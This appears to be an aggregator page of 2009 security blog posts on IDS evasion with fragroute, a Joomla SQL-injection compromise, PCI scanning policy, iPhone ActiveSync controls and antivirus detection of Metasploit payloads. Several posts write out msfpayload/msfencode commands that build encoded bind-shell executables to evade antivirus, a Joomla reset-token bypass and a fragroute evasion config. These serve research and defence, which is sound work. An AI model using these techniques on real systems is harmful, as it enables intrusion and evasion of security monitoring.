http://www.secuobs.com Observatoire de la securite Internet fr webmaster@secuobs.com 2010-01-15 01:01:22 - markremark : I've gotten a couple emails asking where I went For those that do not know I've been posting on Pauldotcomcom In the future I will post my entries here also, but really You should follow pauldotcomcom See you there Wireless Access Points Defcon 2004 style GINA Authentication Bypass Shmoocon tickets See you there All your Active Directory Computer objects - Gone in 60 seconds http://www.secuobs.com/revue/news/181807.shtmlhttp://www.secuobs.com/revue/news/181807.shtml Secuobs.com : 2009-11-25 18:56:21 - markremark - http pauldotcomcom 2009 11 authentication-bypass-in-ginahtml http://www.secuobs.com/revue/news/165241.shtmlhttp://www.secuobs.com/revue/news/165241.shtml Secuobs.com : 2009-11-05 05:55:07 - markremark - Maybe not, but its pretty cool IMAGE http://www.secuobs.com/revue/news/157613.shtmlhttp://www.secuobs.com/revue/news/157613.shtml Secuobs.com : 2009-08-17 05:59:52 - markremark - Originally posted on http pauldotcomcom 2009 08 tcp-frament-evasion-attackshtml By Mark Baggett I recently read a very good article on tuning Snort's Stream5 preprocessor to avoid TCP Fragment Overlap attacks It's a great article, but the wording confused me I thought to myself, TCP Fragments, that must be a mistake The TCP Header doesn't have a 'more fragments bit', a 'fragment offset' or anything to support fragmentation How can there be any TCP fragments Typically when we talk about fragmentation attacks we think about Layer 3 attacks Attackers manipulate the IP packet headers to pull off various insertion and evasion attacks Examples of layer3 attacks include overlapping fragment attacks and temporal evasion host reassembly timeout evasion These attacks are explained pretty well in an article titled Evading NIDS, revisited So what is TCP or Layer 4 fragmentation Really, its overlapping or retransmitted datagrams with the same TCP Sequence number To demonstrate the concept I fired up a virtual machine running Backtrack 3 I ran a netcat listener on my host nc -l -p 9000 and used a netcat client in backtrack to connect to it I fired up wireshark to watch the packets and I transfered the text This is a test of the emergency broadcast system If it were an actual emergency between the two hosts This is what Wireshark captured Figure 1 TCPFragmentation1jpg View image Perfect Exactly what we would expect Since my packet doesn't exceed the MTU of the established TCP connection a single packet is transfered to the client with a single acknowledgment in return If it had exceeded the MTU it still wouldn't have fragmented It would have sent more than one datagram, each with its own unique IP ID Then I created a fragroute configuration file with one line in it tcp_seg 16 This will cause fragroute to break the packets down so that they can only carry 16 bytes of TCP traffic I start fragroute fragroute -f myfragconf 19216810012 and transfer the same text between the hosts Figure 2 TCPFragmentation2jpg View image Fragroute works as expected and breaks the packets down such that only 16 bits of data can be transfered in each packet Each packet sequence number increases by the number of bytes transmitted Sequence numbers increase in order Also, notice that each packet has its own unique IP ID field There is NO FRAGMENTATION The More Fragments bit isn't set The fragment offset isn't set No fragments Instead, fragroute is transferring packets as if the MTU of the segment is only enough for 16 TCP bytes So now lets do some tcp fragmentation overlaps I change my fragrouteconf file to say this tcp_seg 16 new This will cause fragroute to transmit frames with overlapping sequence numbers This attack takes advantage of the fact that the TCP layer doesn't pass data up the stack to the application until it has acknowledged the data and that packets are acknowledged in sequential order So if we skip datagram 3 and transmit datagrams 4, 5 and 6, duplicates of 4 and overlaps of 5 and 6 then the TCP stack needs to hold datagrams 4, 5 and 6 as long as they are within the window size and figure out what to do with duplicates overlaps once it receives fragment 3 To see this in action I fire up fragroute and retransmit the text This is a test of the emergency broadcast system If it were an actual emergency Figure 3 TCPFragmentation3jpg View image Lets look at it in the fragroute packets in figure 3 The first two datagrams 1 and 2 are garbage Their payload is random junk Then fragroute transmits good data in packets 4 and 5 The payload here is the end of our payload If this had been an actual emergency After the 4th packet the receiving host begins screaming to the transmitting client HEY DUDE, ACK 2933750986 I didn't get that one yet The receiving TCP stack is complaining about not receiving the first datagram Then fragroute sends 2 packets with 32 TCP bytes in each These two datagrams include the FIRST datagram Notice packet 10 has the lowest sequence number and the embedded text payload Parts of these two packets overlap packets 1 and 2 Packet 9 overlaps 16 bytes of packet 2 16 bytes of packet 10 overlap packet 1 If the TCP reassembly engine favors NEW packets then it will reassemble the text as expected If the IDS reassembles the packets favoring the OLD packets then we can bypass the IPS If we were drawing analogies to layer three fragment attacks holding the low sequence number datagrams is equivalent to setting the more fragments bit and the sequence number is the equivalent to the fragment offset So how to fix this The attacks aren't new Snort has the STREAM5 preprocessor Just be sure that you tune STREAM5 just like your FRAG3 preprocessor References Snort's Stream5 and TCP overlapping fragments An article by Richard Bejtlich that sparked my interest in this topic Its a very good article with more explanation on tuning the snort preprocessor IMAGE http://www.secuobs.com/revue/news/131438.shtmlhttp://www.secuobs.com/revue/news/131438.shtml Secuobs.com : 2009-07-11 19:32:20 - markremark - A while back I assisted the FBI in the collection of evidence of a now convicted sexual offender The guy had a hard drive full of child porn My customer had suspicions that an employee in a remote office was accessing inappropriate material on their work computer and asked that I investigate it remotely After finding one photo of a very young girl among a collection of normal porn and discussing it with my customer, I immediately dial my contact with the FBI Good contacts are ESSENTIAL don't wait until you need them to try and make them Although the young girl was clothed in the picture I saw, the lingerie and pose she was in was very disturbing and you just knew you didn't want to see anything else At that point I froze anything else that was touched remotely was altering and potentially destroying evidence on the remote drive Within an hour the FBI was at the office He used my machine and the access I had gained to briefly verify the contents of the drive and confirm that it required additional investigation It did and they dispatched local agents to grab the drive for proper forensic collection I spared myself the imagery and let the FBI do what it needed to do using my machine To me, this story is very interesting Here a person in a very similar role as the one I played He could be prosecuted for any residual images left behind on his drive after an investigation http wwwtheregistercouk 2009 05 22 bates_hard_drives As far as I know, no CP was ever copied to my hard drive I had donated a thumbdrive to the cause where all the evidence they needed during that brief investigation was collected If it is a project I am working on with sensitive data such as a penetration test I like to keep everything in TrueCrypt volume making clean up very easy But in this case, I wasn't driving It was a windows box and I periodically run CIPHER W C to clean up all the residual files in the free space on the drive, but it s not something I do religiously How about you Well, Cipher is running NOW IMAGE http://www.secuobs.com/revue/news/119280.shtmlhttp://www.secuobs.com/revue/news/119280.shtml Secuobs.com : 2009-06-29 07:34:17 - markremark - I'm joining the guys at Pauldotcom They have invited me to post my blogentries on their site As posts go up on their site I'll provide alink to them here and I'll post some less technical notes here I'mpretty excited about the opportunity to work with those guys andlooking forward to itIMAGEhttp://www.secuobs.com/revue/news/114739.shtmlhttp://www.secuobs.com/revue/news/114739.shtml Secuobs.com : 2009-04-29 07:07:55 - markremark - Check out this articlehttp://wwwciocom/article/102751/Your_Guide_To_Good_Enough_Compliancepage=5ettaxonomyId=1419What is "Good enough Compliance" You either ARE complaint or you ARENOT Its a switch The article should be a guide to "Good enoughsecurity" Good security is no the same a being compliant I wouldmuch rather have good security then being compliant with any givenregulation But good security often covers many of the securityrequirements outlined in compliance standards Two things caught cameto mind reading the article1 Don't trust Sony Pictures with any personal data or credit cardinformation2 How many data breaches are REALLY happeningWhat does this paragraph suggest"According to Behnam Dayanim, a privacy attorney with Paul, Hastings,Janofsky et Walker, state security breach notification laws are amongthe most frequently ignored types of security regulation About 35states have passed security breach notification laws, which lay out,to varying degrees, when an enterprise needs to notify customers andclients if their private information may have been exposed to anunauthorized user According to CIO and PricewaterhouseCoopers’ “TheGlobal State of Information Security 2006” survey, 32 percent of USorganizations admit to not being compliant with state privacyregulations"According to this paragraph 32% of organizations admit to not beingcompliant with state privacy laws The only way to be non-compliantwith those laws is to have a breach and not disclose it properlyright That is a significant number of unreported breachesWell, at least Myspace did the right thing this past April Check outtheir disclosure on April 16th, 2009http://wwwprivacyrightsorg/ar/ChronDataBreacheshtmIMAGEhttp://www.secuobs.com/revue/news/89638.shtmlhttp://www.secuobs.com/revue/news/89638.shtml Secuobs.com : 2009-04-26 03:33:11 - markremark - I just came across this picture It is a great reminder to securityprofessionals to set priorities and focus on the high risk itemsDon't focus your attention on reducing your screen saver time-outsfrom 30 minutes to 15 minutes if your using telnet on your financialsystems Remember, calculate your SLE Single Loss Expectancy basedupon the value of the assets and the vulnerability Calculate your ALEAnnual Loss Expectancy based upon the likelihood the threat willmanifest itself Then address the issues that really pose the greatestthreat to your organization Don't focus on the Jackhammer noise andoverlook the cigarette in your mouthIMAGEhttp://www.secuobs.com/revue/news/88218.shtmlhttp://www.secuobs.com/revue/news/88218.shtml Secuobs.com : 2009-04-26 03:33:11 - markremark - Last year I mentored SANS 504 and had a great time I really enjoymeeting new security people and learning about the challenges theyface This year I am going to mentor SANS 401 and I am really lookingforward to it The best part is, our Augusta ISSA chapter will be thefirst to participate in a new SANS program which will offer the courseat a considerable discount to ISSA members I hope we have a greatclass and good turn out from our ISSA chapterhttp://wwwsansorg/mentor/detailsphpnid=13298IMAGEhttp://www.secuobs.com/revue/news/88217.shtmlhttp://www.secuobs.com/revue/news/88217.shtml Secuobs.com : 2009-04-26 03:33:11 - markremark - iPhone 20 is really cool and it will, like all other Microsoft Mobiledevices, allow the user to synchronize their email to the deviceunless you take action to prevent it Whether you plan to support theiphone or not you will need to take some steps if you want any controlof the devices in your enterprise See these arguments in support ofthe iPhone And this organization that suggests not supporting itIf your not supporting iPhones you have a couple of options You canblock the requestes based on their User-Agent by using isapirewrite asI suggested in an earlier blog The iPhones USER-AGENT string isApple-iPhone/501347 so your new isapi filters begin to look likethisRewriteEngine on#Block Blackberry, iphones and other smartphonesRewriteCond %{HTTP:User-Agent}:BWCWorker*|BWCEngine*|MSFT-SPhone*|PalmOne-TreoAce*|AvantGO*|Apple-iPhone*NCRewriteRule - F,LThis is a good approach for handling any devices that use WEBDAV orOWA Screen scraping such as Entourage and Blackberry to synchronizeto handheldsAlternatively, since the iPhone is a Microsoft ActiveSyncdevice you can block it by disabling ActiveSync on your exchangeserver I will describe that process in this articleIf you plan to allow the iPhone but want to control who can use it youwill need to make some changes By default anyone with iPhone 20software can point their phone at your webmail server and startstoring email To prevent this from happening you need to set theusers msExchOmaAdminWirelessEnable attribute to a value of 7 Bydefault its value is NULL which allows all ActiveSync functionsDefault ALLOW Thanks MicrosoftI like a little control over who isstoring corporate emails on mobile devices Like minded corporationswill need to run a script nightly that disables active sync for newusers that are added to your network Microsoft has a sample scriptthat will disable active-sync for unconfigured users The script takesuser objects where the msExchOmaAdminWirelessEnable is NULLunconfigured and sets them to a value of 7 which disablesActiveSync Download the sample script hereHere is an explanation of the msExchOmaAdminWirelessEnable attribute:1 bit 0 = 1 to disable Server Activesync, 0 to enable it2 bit 1 = 1 to disable OMA, 0 to enable it4 bit 2 = 1 to disable Always Up-To-Date AUTD, 0 to enable it1 + 2 + 4 = 7 = All ActiveSync Features disabledWhen you want to enable a user you will need to set the value to 0ZERO A value of 0 Zero enables all ActiveSync Functions This canbe enabled through the Exchange Admin tool on the "EXCHANGE FEATURES"tabIf you enable it you will want to consider enabling some securitycontrols The iPhone and Microsoft ActiveSync falls short by a longshot of the controls you have with Blackberry enterprise Mostnotably in my opinion is the lack of device encryption But you canenable some features such as requiring passwords on the device,inactivity timeouts, wiping the device after a number of failed loginattempts and remote "Wipe" of the device These policies are set onyour exchange server using Microsoft ToolsYou can also try the Apple utility, but it lacks central enforcementand users can simply choose not to use it It is more of aconfiguration convenience than a security policy enforcement tool Ifyou try to use that tool, but do not address the fundamental problemof ActiveSync being enabled by default for everyone, then users cansimply point to your web server and ignore your Apple XML basedconfigurationNote "Wipe" is in quotes If you "Wipe" the device using theActiveSync functions built into exchange it appears to just put thedevice in recovery mode requiring the reinstallation of the iPhonesoftware I somewhat doubt that this actually wipes the device Itwill be interesting to check that out after I get dd on my 20 phoneI also found it interesting that once the "WIPE" command is sent fromExchange, it continues to send the command until you tell it to stopThis will put iPhone users in a circular loop of Wipe, Reinstall,Restore backup which contains Exchange settings, and the phone isIMMEDIATELY wiped again if they have PUSH email enabled The usersonly choice is to setup the iPhone as a new device and not restorethat backup againIMAGEhttp://www.secuobs.com/revue/news/88216.shtmlhttp://www.secuobs.com/revue/news/88216.shtml Secuobs.com : 2009-04-26 03:33:11 - markremark - I recently had the no so pleasurable task of dissecting an 0wn3d host todetermine what happened The attacker did the system owner a favor andtagged the site with a defacement image making detection pretty easyThe image appeared in small title frame on the top of the page Myinitial guess was they had a directory traversal vulnerability in theimage upload engine and some weak permissions on a folder structureWe took a look at the date/time of the defaced pic and it showed theimage had change the previous evening "find / -mtime 0" showed a fewother files that had changed around the same time One of them was anew PHP file vi revealed it was a variant of the c99 PHP Shell So wego to the apache logs and find the attackers IP and try to figure outhow he got in There are two interesting entries:14/Aug/2008:22:18:42 1895014424 - - 14/Aug/2008:22:18:42 -0400"POST /indexphpoption=com_userettask=completereset HTTP/11" 301 -14/Aug/2008:22:18:441895014424 - - 14/Aug/2008:22:18:44 -0400 "GET /administrator/HTTP/11" 200 4121A check for recent vendor patches lead us to thishttp://developerjoomlaorg/security/news/241-20080801-core-password-remind-functionalityhtmlThis is a very interesting vulnerability Its a SQL injectionvulnerability in the password reset function The code that actuallyresets the password is this$db-setQuery'SELECT id FROM #__users WHERE block = 0 AND activation= '$db-Quote$token;Token is supposed to a verification code that is sent to your emailaddress when you request a password reset BUT if you just say yourtoken is an ampersand then the SQL statement looks like thisSELECT id FROM jos_users WHERE block = 0 AND activation = ''Which select the first account in the database ADMINISTRATOR for apassword reset The next screen that appears is where your promptedfor a new admin password Sorry Dude, Your website was 0wn3d by asingle characterOnce the attacker had admin access, he added his own php code c99shell and had full access to the apache instance as the apacheuser So why only a small image in a small frame when he had accessto SO much more Who knows Perhaps good fortune Perhaps they caughtit early The attack certainly did not require much work Just aboutanyone could pull it off Maybe he didn't know what he was doing, butmy guess is there were a TON of websites out there that required hisattention The PUBLIC disclosure of the PHP vulnerability was about 48hours old at the time 48 hours isn't enough time to move through mostchange control processes There were probably many more fish to fryIf you haven't patched Go ahead and do it and save yourself someheartacheSANS POSTExploitIMAGEhttp://www.secuobs.com/revue/news/88215.shtmlhttp://www.secuobs.com/revue/news/88215.shtml Secuobs.com : 2009-04-26 03:33:11 - markremark - I’ve come to learn PCI requires business leave their network unmonitoredand open to attack Specifically on page 4 item #13 of thisdocumenthttps://wwwpcisecuritystandardsorg/pdfs/pci_scanning_procedures_v1-1pdfIt reads:13 Arrangements must be made to configure the intrusion detectionsystem/intrusion prevention system IDS/IPS to accept the originatingIP address of the ASV If this is not possible, the scan should beoriginated in a location that prevents IDS/IPS interferenceI understand what the intention of this requirement is If your IPS isblacklisting the scanner IP's then ASVs don't get a full assessmentbecause they are a loud and proud scan rather than a targeted attackFor example, Lets say I have 1000 host on my network If during theassessment of host 1 of 1000 the IPS blocks the source IP of thescanner, then serious threats will remain undetected on hosts 2-1000and portions of host 1 An attacker who is not nearly as noisy as ascanner would not be blocked by the IPS and could exploit thoseundetected vulnerabilities This is a very legitimate problem and thePCI standard needs to be sure that IPS’s do not cause that However,blindly accepting the originating IP of the scanner leaves the hostsvulnerable to various attacks Attackers can simply reference variouspublic websites to see what IP addresses they need to use to bypassthose detective or preventive controls For example:https://wwwmcafeesecurecom/help/scanipsjspprovides attackers with everything they need to launch UDP basedattacks against any site with the “HackerSafe” logo on it Thoseattacks will not be detected by the merchant and will not be blockedeven though the IPS could have prevented the attack UDP based attacksare now enabled as a result of this requirement Various TCP basedspoofing attacks may also be possible such as NMAP IDLE scans Againthe merchant is now blind to all of these attacks IPS/IDS’s are animportant of a comprehensive defense strategy I am certainly aproponent of eliminating the vulnerabilities on the server and notrelying on IPS’s to block the attacks However Defense in Depth is astaple of any good security programPCI does strongly encourages and in circumstances require the use of aWeb Application firewall Today the lines between Web App Firewallsand IPS’s is a gray one in many circumstances For example, many IPS'ssuch as McAfee IntruShield, TippingPoint and others does not do any IPblocking by default that would produce the undesirable affect Idescribed above They do however drop specific attack packets thatmatch a signature in the same way that Web App firewalls do IPSeswill drop Cross Site Scripting, SQL and traditional Web App attackspackets in the exact same way that a web app firewall does Furthermore, some web app firewall may do IP list blacklisting and presentthe undesired scan scenario described above For example the product:http://wwwport80softwarecom/products/serverdefender/artificialintelligence/Lists the following on its feature list:- Block IP for subsequent HTTP requestsWith so much Web App Firewall functionality in boxes that have “IPS”printed on the Appliance and IP blocking in Web App Firewalls I thinkthe wording on that requirement needs to be addressesPCI may say something like "Just exclude the IP of the scanner duringthe scan and reenable the IPS when the scan isn't running" Theproblem with that approach is that the required UDP exhaustive portscans make the scan very slow I have personally seen PCI scans fornetworks with 2000+ hosts take more than a week to complete Then addin time to fix any findings and rescan and large organizations end upwith SIGNIFICANT windows of exposure In my discussions with variousPCI scanning vendors I am told that the OVERWHELMING VAST MAJORITY ofbusiness simply exclude the IPS from their IDS/IPS and go about theirbusiness This is very dangerous indeed leaving them completely blindto attackersIn summary, I don’t believe that the wording of this requirementaccurately reflects the PCI Council’s intention I think that inpractice it creates a significant unmonitored exposure for merchantsI have attempted to contact the PCI counsel and see if they canaddress the exposure and risk to credit card data they areunintentionally creating with this requirement, but they are notinterested in speaking with me But there is a beacon of hope As Iwas about to give up I received an email from David Taylor, founder ofwwwKnowPCIcom KnowPCIcom is a great forum to pose PCI questions toknowledgeable PCI professionals and get answers to questions Checkout the site wwwknowpcicomIMAGEhttp://www.secuobs.com/revue/news/88214.shtmlhttp://www.secuobs.com/revue/news/88214.shtml Secuobs.com : 2009-04-26 03:33:11 - markremark - I love incidents caused by false positives in antivirus products Itsfrustrating enough that they don't detect legitimate threats, but whenthey delete legitimate files its just a waste of time and energyToday I handled an incident where 10% of an organizations machinesdetected ESUGRemoteSvcexe as a Trojan2008-09-19 17:13:48;2008-09-19 17:23:42;Real TimeScan;LOGGER_Real_Time;1;Virus found;TrojanHorse;1;"C:/WINDOWS/system32/ESUG/ESUGRemoteSvcexe";Quarantined;Fire up the IRT engine Gather samples, run it in a isolated machineto watch it behavior, submit it to virustotalcom and Normans Sandbox,pull it apart with Immunity Debugger, but the thing looks legit Nomachines are scanning the network or making TCP connections to anunusual number of hosts, but it appeared to be spreading So what isthis evil program ITS SYMANTECS OWN ADMIN TOOL ESUG stands for "EnterpriseSupport Utilities Group"A call to Symantec confirmed it was a false positive Thanks for thefriday afternoon excitementIMAGEhttp://www.secuobs.com/revue/news/88213.shtmlhttp://www.secuobs.com/revue/news/88213.shtml Secuobs.com : 2009-04-26 03:33:11 - markremark - HD Moore and the team at Metasploits are constantly updating theframework The programs, scripts and approaches I document In my SANSpaper on the Effectiveness of Antivirus in Detecting MetasploitPayloads have changed significantly If you haven't read my paper youmay find it interesting Its hereIn the document I showed how an attacker can create standaloneexecutable payloads of any of the available payloads in the frameworkI showed how to you can use msfencode to alter the payload to avoiddetection by antivirus One difficulty at the time was that msfencodedidn't make an executable That all changed on 9-26 HDM make the somechanges to both the template that is used by msfpayload and msfencodeamong other things It now much easier to avoid antivirus Nowmsfencode will create an EXE It doesn't show up in the options whenyou do msfencode -h but it works So the following:/msfpayload windows/meterpreter/bind_tcp R | /msfencode -t exewill encode the standalone meterpreter with the default encoderShikata_ga_nai It works great REMEMBER: msfencode wants machinelanguage code as input RAW output from msfpayload If you tellmsfpayload to generate an EXE then pipe that to msfencode, msfencodewill encode the Win32 PE headers and you end up with binary that willnot run Give msfencode C source code and it will produce encoded Csource code But that source code won't run and better than theunecoded one msfencode needs RAW input msfencode will also generateRAW output, so you should be able to chain multiple payload encodesThis works great too# /msfpayload windows/shell_bind_tcp R | /msfencode -ex86/fnstenv_mov -t raw | /msfencode -t exe doubleencodedexe *x86/fnstenv_mov succeeded, final size 342* x86/shikata_ga_naisucceeded, final size 369UPDATE: I have been unable to reproduce this result again Encodingbinaries a second time has resulted in corruption I'm not sure what Idid wrong last night I probably tested my single encoded binarythinking it was my double encodedThings have change quite a bit since february A straight payload withno encoding is detected by 3 antivirus products, Avast, AVG and GDataBut none of them detect it as a metasploit payload Instead theydetect a generic "dropper" These are NOT the same antivirus productsthat detected payloads back in february Those two products Kasperskiand Webgateway don't detect anything now Seems we are relying ondumb luckUnencoded payload is detected by 3 antivirus products, Avast, AVG andGData Single encoded shikata_ga_nia is detected by 3 antivirusproducts, Avast, AVG and GDataDouble encoded fnstenv_mov +shikata_ga_nia is detected by 1 Antivirus product, AVGAdditionally HD changed the template that is used When msfpayload andmsfencode create an executable they rather elegantly do a merge of thepayload text with the binary /data/templateexe HD change thetemplate to make it more difficult for antivirus to detect thepayloads It now stores the payloads in the rdata section rather thanthe data section and employes some techniques to avoid detectionLets pretend for a minute that antivirus was able to detect thepayloads BEFORE these changes That task just got a whole lot harderfor the antivirus vendorsPauldotcomcom did some some similar work on metasploit payloads inSeptember of this year Check out his stuff hereIMAGEhttp://www.secuobs.com/revue/news/88212.shtmlhttp://www.secuobs.com/revue/news/88212.shtml Secuobs.com : 2009-04-26 03:33:11 - markremark - Cognitive passwords are those questions your bank and other accounts haveyou setup so that you can reset your password or verify your identityif you have forgotten your password I personally am not a big fan ofthese If forced to implement a solution based on these I would gowith several "In the Wallet" questions Questions that would requirethe individual pull something from there wallet to answer thequestion Things like:"What are the last 6 digits of your library cardnumber" "What is the last name of the issuer of your fitness clubcard" "What is the last 6 digits on your favorite Shopping clubcard"If you use these types of questions you have to give the usermany choices Not everyone has a shopping club card or a library card,so a broad set of questions works best The goal of coming up with thequestions should be to have answers that can not be easily guessed orlooked up on the internet Here are some examples of horriblequestionsLooked up with some simple information about the user:"So Sarah Palin,where did you meet your spouse""What is your voting precinct ordistrict"Easily brute forced or guessed:"What is your favorite baseball team"Guess what 80% of the people in Atlanta say"What is your favoritecolor" Come on, who isn't madly in love with one of the primarycolorsThe last category of question that suck is those tha only a fewpossible answers that could be right Today I renewed by subscriptionto a prominent computer SECURITY magazine that asked me, "How manysiblings do you have" With the exception of a few families we canpretty much rule out anything greater than 4 And all of thosefamilies have their own discovery channel show, so we know theiranswers The best I can hope for is that my answer wont bebrute-forced in the first 5 attemptsSummary: Avoid cognitive passwords if you can If you have to usethem, be very careful with the questions you chooseIMAGEhttp://www.secuobs.com/revue/news/88211.shtmlhttp://www.secuobs.com/revue/news/88211.shtml Secuobs.com : 2009-04-26 03:33:11 - markremark - UPDATE 1-21-2009: HD Moore delivered this patched on Christmas Eve Idon't want to start any rumors, but has anyone ever seen HD Moore andSanta Claus in the room at the same time Google certainly seems toindicate some type of relationshipHmmOriginal Post:On Dec 15th I am giving a presentation at SANS CDI on mywhitepaper on the Effectiveness of Antivirus detecting Metasploitpayloads Metasploit changes CONSTANTLY and I want to be sure mypresentation is up to date So I've been spending some time updatingmy reasearch Here is what I learnedFirst, when I wrote my paper, msfencode wouldn't produce an EXE In mypaper I described three techniques for creating an EXE Since then,metasploit added the ability to create an EXE, but it still has a fewkinks First, msfencode doesn't actually encode the payload Today itjust changes the base address and adds a 0x0A to the end of thepayload I've reported the bug to the development team today Giventhat the guys on that team seem to exhale highly functional code Isuspect it will be fixed long before anyone reads my blog I suggestyou wait for their fix, but here is what I foundmsfencode has this line where it sets the encoded payload to thevariable "RAW"# Encode it up raw = encencodebuf, badcharsThen when it creates its payload it does this callexe = Rex::Textto_win32pebuf, ""But "BUF" is the unencrypted payload Yep It does nothing Every EXEyou've encoded since the update on Sept 26th when the EXE encodingoption was introduced hasn't been encoded "But the MD5 hashchanged", you say Yep The to_win32pe method of the TEXT object usedby msfpayload and msfencode also changes the base memory load addressof the binary randomly So it changes the EXE by a couple of bytesWhile waiting on the real fix from the metasploit team you can use oneof the three methods describe in my paper or you can make thischangeexe = Rex::Textto_win32peraw, ""And guess what msfencode encodes now BUT the payloads still don'twork If you encode a payload it doesn't run So we take a look at ournew binary in OLLYDBG and see that when the new exe reaches the XORfunction to decrypt the payload it generates a Memory AccessViolation I suspect this was the result of the fact that 32 movedthe actual payload the the rdata section of the executable So Ireverted the EXE template to the one that came with the 31 versionThe template that is used for the payload is located in the/data/template/templateexe If you revert to the TEMPLATEEXE from 31then everything works great You can encode your payloads Remembermsfencode requires RAW input, see my paper for details like this/msfpayload windows/shell_bind_tcp R | /msfencode -t exe -o~/winbindencodedexeHungry for more Lets have some real fun and double encode it/msfpayload windows/shell_bind_tcp R | /msfencode -e x86/countdown-t raw | /msfencode -t exe -o ~/winbinddoubleencodeexeThis encrypts the payload once with the countdown xor engine and thenwraps that in a shikata_na_gia encoding Double encoding Cool BUTperhaps not very helpful in avoiding antivirus Encoding somethingtwice will likely just result in the avoidance of the outer encodingalgorithm Oh wellHere are some numbers from submitting them to wwwvirustotalcom:Bindshell= 3/37Bindshell + countdown = 6/37Bindshell + Shikata_na_gia encoding= Detected by 6/37Bindshell + countdown encoding + Shikata_na_giaencoding = Detected by 6/37I'll talk about this some more at my SANS CDI talkIMAGEhttp://www.secuobs.com/revue/news/88210.shtmlhttp://www.secuobs.com/revue/news/88210.shtml Secuobs.com : 2009-04-26 03:33:11 - markremark - I was trying out jing over the weekend and I like it Its free screencapture software for your Macintosh It allows you to capture a moviefrom your desktop and give it a voice over Then you can save thecontents as an adobe flash movie It integrates withwwwscreencastcom and allows you to upload and share files with theworld All for free as long as you stay beneath 2 GB per month Onedraw back is it doesn't come with editing software So unless you usea separate tool you need to get it right in one take Check it outhere http://wwwjingprojectcomTo try it out I made a video one take of using Metasploit's routestatement to accomplish a true pivot Route is a command that can berun from within the Metasploit console It routes attacks through anexisting meterpreter session The route statement is not altering therouting tables on the attacking host This is also different that theroute statement which alters the client host when your are in theMeterpreter session This route statement alters the routing tablesused by Metasploit see lib/rex/socket/switch_boardrb Not allMetasploit tools will honor the routes It seems that those that arebuilt on "Session" objects which uses the "Comm" object honor theroutes Some components such as auxiliary modules do not inherit thecomm and/or switchboard objects and thus do not honor the routesCheck the video out hereIMAGEhttp://www.secuobs.com/revue/news/88209.shtmlhttp://www.secuobs.com/revue/news/88209.shtml Secuobs.com : 2009-04-26 03:33:11 - markremark - There is no shortage of stories about infected digital picture frames outthere The SANS Internet Storm Center has had several posts on thesubject When Santa brought my daughter a Sakar "Portable DigitalPicture Frame" I was sure to scan it with some antivirus softwareSure enough, McAfee reports a Trojan exists in on the device Ichecked the Manufacturers support page and found this note on theProduct FAQ"Does my product have a virusNo It has come to our attention thatsome versions of McAfee Antivirus are warning users about a potentialvirus in one of our files We have confirmed that this is a falsepositive There is no virus and users can install and use their framewithout any fear of a virus infection To avoid any installationissues, we suggest McAfee be temporarily suspended during installationand use Users of Symantec and other antivirus products are notaffected"Other antivirus products are not affected It must just be a McAfeeissue right What does virustotal have to say 18/38 4738% of thevirus scanners out there report it is a virusNorman Sandbox says FEnCodeUnicodedll : INFECTED withW32/Packed_NspackA Signature: W32/Packed_NspackASo who do you believe Me I don't believe either of them I caneither run the software on an isolated machine and looks for signs ofmalicious activity or return the product and buy one that doesn'trequire several hours of analysis before we can use it HmmIMAGEhttp://www.secuobs.com/revue/news/88208.shtmlhttp://www.secuobs.com/revue/news/88208.shtml Secuobs.com : 2009-04-26 03:33:11 - markremark - The SANS Masters program is an AWESOME program First, as any securityprofessional knows, SANS is the premier provider of informationsecurity training In my opinion the tremendous value in the knowledgeyou get from each individual SANS course is magnified by having themin a structured program that ensures your exposed to the both thedepth and breadth of the information security field You get to rubshoulders and discuss topics with leaders in our field Last month atSANS CDI I got to talk with Ed Skoudis, Mike Poore, John Strand,Johannes Ullrich, Eric Conrad and others I had the opportunity tostand up at a SANS conference and give a presentation to a respectableaudience which included Stephen Northcutt What other school programgives you the chance to speak with such a team and PRESENT to StephenThrow in the opprotunity to work as a team with other students who arethemselves leaders in this field and you have a great program that Iam very excited to be a part ofCheck it out at wwwsanseduIMAGEhttp://www.secuobs.com/revue/news/88207.shtmlhttp://www.secuobs.com/revue/news/88207.shtml Secuobs.com : 2009-04-26 03:33:11 - markremark - John Strand turned me on to this at CDI in December We were talkingabout my presentation on the effectiveness of antivirus in detectingmetasploit payloads and he asked if I had done any testing on thevisual basic payloads At the time I had not, but now I have to agreewith John's assersion that this is potentially a very scary andpowerful feature Metasploit payloads can easily be embedded inMicrosoft Office Documents and, as you might expect if you've read myprevious blogs, antivirus software does not detect the payloads Imade a video to demonstrate the creation and use of the payloadsTo mitigate these attacks you can use Group policy to set your OfficeDocument Macro Security to HIGH You could use the Medium setting ifyou work for that mythical company where users don't ignore securitywarnings Here are some helpful linksSetting Macro LevelsOffice Group Policy TemplatesOr click here to check it outIMAGEhttp://www.secuobs.com/revue/news/88206.shtmlhttp://www.secuobs.com/revue/news/88206.shtml Secuobs.com : 2009-04-26 03:33:11 - markremark - Huh I see this sign frequently So I went ahead and figured it outThe diagram below reveals the door schedule I assigned a number toeach of the times the door is closed, 1=9:30 pm - 4:00 am ; 2 = Monday- Friday; 3= 9:30 pm etc So I guess they only unlock the stair wellson weekends when no one is in the office Must be a security measure:Sat, SunMonTues-ThursFridayHolidays00:00am-04:00am11,2,51,21,2,41,64:01-9:29pmOPEN2,52269:30pm1,31,2,3,51,2,31,2,31,3,69:31pm-11:59 pm11,2,51,21,21,6IMAGEhttp://www.secuobs.com/revue/news/88205.shtmlhttp://www.secuobs.com/revue/news/88205.shtml Secuobs.com : 2009-04-26 03:33:11 - markremark - This is a very interesting paper from some smart people at ColumbiaUniversity Here is my layman's summary for the terminally lazy:Intro paraphrase:We are going to model the feasibility of modeling polymorphicshellcode to see if we can rely on antivirus heuristics and behavioraldetection techniquesBody paraphrase:Examine a ton of models et do some math that makes my head hurtConclusion:"Our empirical results demonstrate the difficulty of modelingpolymorphic behavior We briefly summarized the achievements of theshellcoder community in making their code polymorphic and examinedways to improve some of these techniques We presented analyticalmethods that can help assess the capabilities of polymorphic enginesand applied them to some state-of-the-art engines We explained whysignature–based modeling works in some cases and confirmed that theviability of such approaches matches the intuitive belief thatpolymorphism will eventually defeat these methodologies The strategyof modeling malicious behavior leads to an unending arms race with anattacker Alternatively, whitelisting normal content or behaviorpatterns perhaps in randomized ways in order to defend againstblending attacks might ultimately be safer than blacklistingarbitrary and highly varied malicious behavior or content"IMAGEhttp://www.secuobs.com/revue/news/88204.shtmlhttp://www.secuobs.com/revue/news/88204.shtml Secuobs.com : 2009-04-26 03:33:11 - markremark - First I learned via Wesley McGrew's website that I won Ed Skoudis'December hacking challenge When I look at the list of people 